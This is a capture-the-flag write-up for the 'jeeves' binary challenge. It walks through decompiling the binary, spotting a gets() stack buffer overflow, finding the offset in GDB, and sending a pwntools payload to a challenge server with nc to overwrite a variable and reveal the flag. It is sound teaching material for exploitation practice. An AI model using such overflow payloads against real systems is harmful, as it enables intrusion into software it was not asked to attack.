Jeeves
4 minutes to read
We are given a 64-bit binary called jeeves
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We can use Ghidra to analyze the binary and look at the decompiled source code in C. This is main
:
int main() {
char name[44];
int fd;
void *data;
uint code;
code = 0xdeadc0d3;
printf("Hello, good sir!\nMay I have your name? ");
gets(name);
printf("Hello %s, hope you have a good day!\n", name);
if (code == 0x1337bab3) {
data = malloc(0x100);
fd = open("flag.txt", 0);
read(fd, data, 0x100);
printf("Pleased to make your acquaintance. Here\'s a small gift: %s\n", data);
close(fd);
}
return 0;
}
The binary is vulnerable to Buffer Overflow since there is a variable called name
that has 44 bytes assigned as buffer, but the program is using gets
, which is an insecure function because it does not limit the length of the input data, thus overflowing the reserved buffer if the size of the input data is greater than 44 bytes.
We can check that it crashes in this situation:
$ ./jeeves
Hello, good sir!
May I have your name? asdf
Hello asdf, hope you have a good day!
$ ./jeeves
Hello, good sir!
May I have your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, hope you have a good day!
zsh: segmentation fault (core dumped) ./jeeves
The program crashes because we overwrote the saved return address and when the program tries to return, it finds out an invalid memory address.
However, the objective of this challenge is to modify the variable called code
and get the flag, we won’t be spawning a shell this time (plus, the protections would make this really hard to achieve).
Let’s use GDB to find the offset to the value we want. One way of doing this is setting a breakpoint at the cmp
instruction and using a pattern:
$ gdb -q jeeves
Reading symbols from jeeves...
(No debugging symbols found in jeeves)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: sub rsp,0x40
0x00000000000011f5 <+12>: mov DWORD PTR [rbp-0x4],0xdeadc0d3
0x00000000000011fc <+19>: lea rdi,[rip+0xe05] # 0x2008
0x0000000000001203 <+26>: mov eax,0x0
0x0000000000001208 <+31>: call 0x10a0 <printf@plt>
0x000000000000120d <+36>: lea rax,[rbp-0x40]
0x0000000000001211 <+40>: mov rdi,rax
0x0000000000001214 <+43>: mov eax,0x0
0x0000000000001219 <+48>: call 0x10d0 <gets@plt>
0x000000000000121e <+53>: lea rax,[rbp-0x40]
0x0000000000001222 <+57>: mov rsi,rax
0x0000000000001225 <+60>: lea rdi,[rip+0xe04] # 0x2030
0x000000000000122c <+67>: mov eax,0x0
0x0000000000001231 <+72>: call 0x10a0 <printf@plt>
0x0000000000001236 <+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
0x000000000000123d <+84>: jne 0x12a8 <main+191>
0x000000000000123f <+86>: mov edi,0x100
0x0000000000001244 <+91>: call 0x10e0 <malloc@plt>
0x0000000000001249 <+96>: mov QWORD PTR [rbp-0x10],rax
0x000000000000124d <+100>: mov esi,0x0
0x0000000000001252 <+105>: lea rdi,[rip+0xdfc] # 0x2055
0x0000000000001259 <+112>: mov eax,0x0
0x000000000000125e <+117>: call 0x10f0 <open@plt>
0x0000000000001263 <+122>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001266 <+125>: mov rcx,QWORD PTR [rbp-0x10]
0x000000000000126a <+129>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000126d <+132>: mov edx,0x100
0x0000000000001272 <+137>: mov rsi,rcx
0x0000000000001275 <+140>: mov edi,eax
0x0000000000001277 <+142>: mov eax,0x0
0x000000000000127c <+147>: call 0x10c0 <read@plt>
0x0000000000001281 <+152>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001285 <+156>: mov rsi,rax
0x0000000000001288 <+159>: lea rdi,[rip+0xdd1] # 0x2060
0x000000000000128f <+166>: mov eax,0x0
0x0000000000001294 <+171>: call 0x10a0 <printf@plt>
0x0000000000001299 <+176>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000129c <+179>: mov edi,eax
0x000000000000129e <+181>: mov eax,0x0
0x00000000000012a3 <+186>: call 0x10b0 <close@plt>
0x00000000000012a8 <+191>: mov eax,0x0
0x00000000000012ad <+196>: leave
0x00000000000012ae <+197>: ret
End of assembler dump.
gef➤ break *main+77
Breakpoint 1 at 0x1236
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./jeeves
Hello, good sir!
May I have your name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Hello aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa, hope you have a good day!
Breakpoint 1, 0x0000555555555236 in main ()
gef➤ x/i $rip
=> 0x555555555236 <main+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
gef➤ x/gx $rbp-0x4
0x7fffffffe68c: 0x6161616961616161
gef➤ pattern offset 0x6161616961616161
[+] Searching for '0x6161616961616161'
[+] Found at offset 60 (little-endian search) likely
[+] Found at offset 61 (big-endian search)
So, we can modify the value of code
entering 60 bytes and then the value we want (obviously, 0x1337bab3
, in little-endian format):
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 60 + p64(0x1337bab3) + b"\n")' | nc 178.128.46.251 32023
Hello, good sir!
May I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: HTB{w3lc0me_t0_lAnd_0f_pwn_&_pa1n!}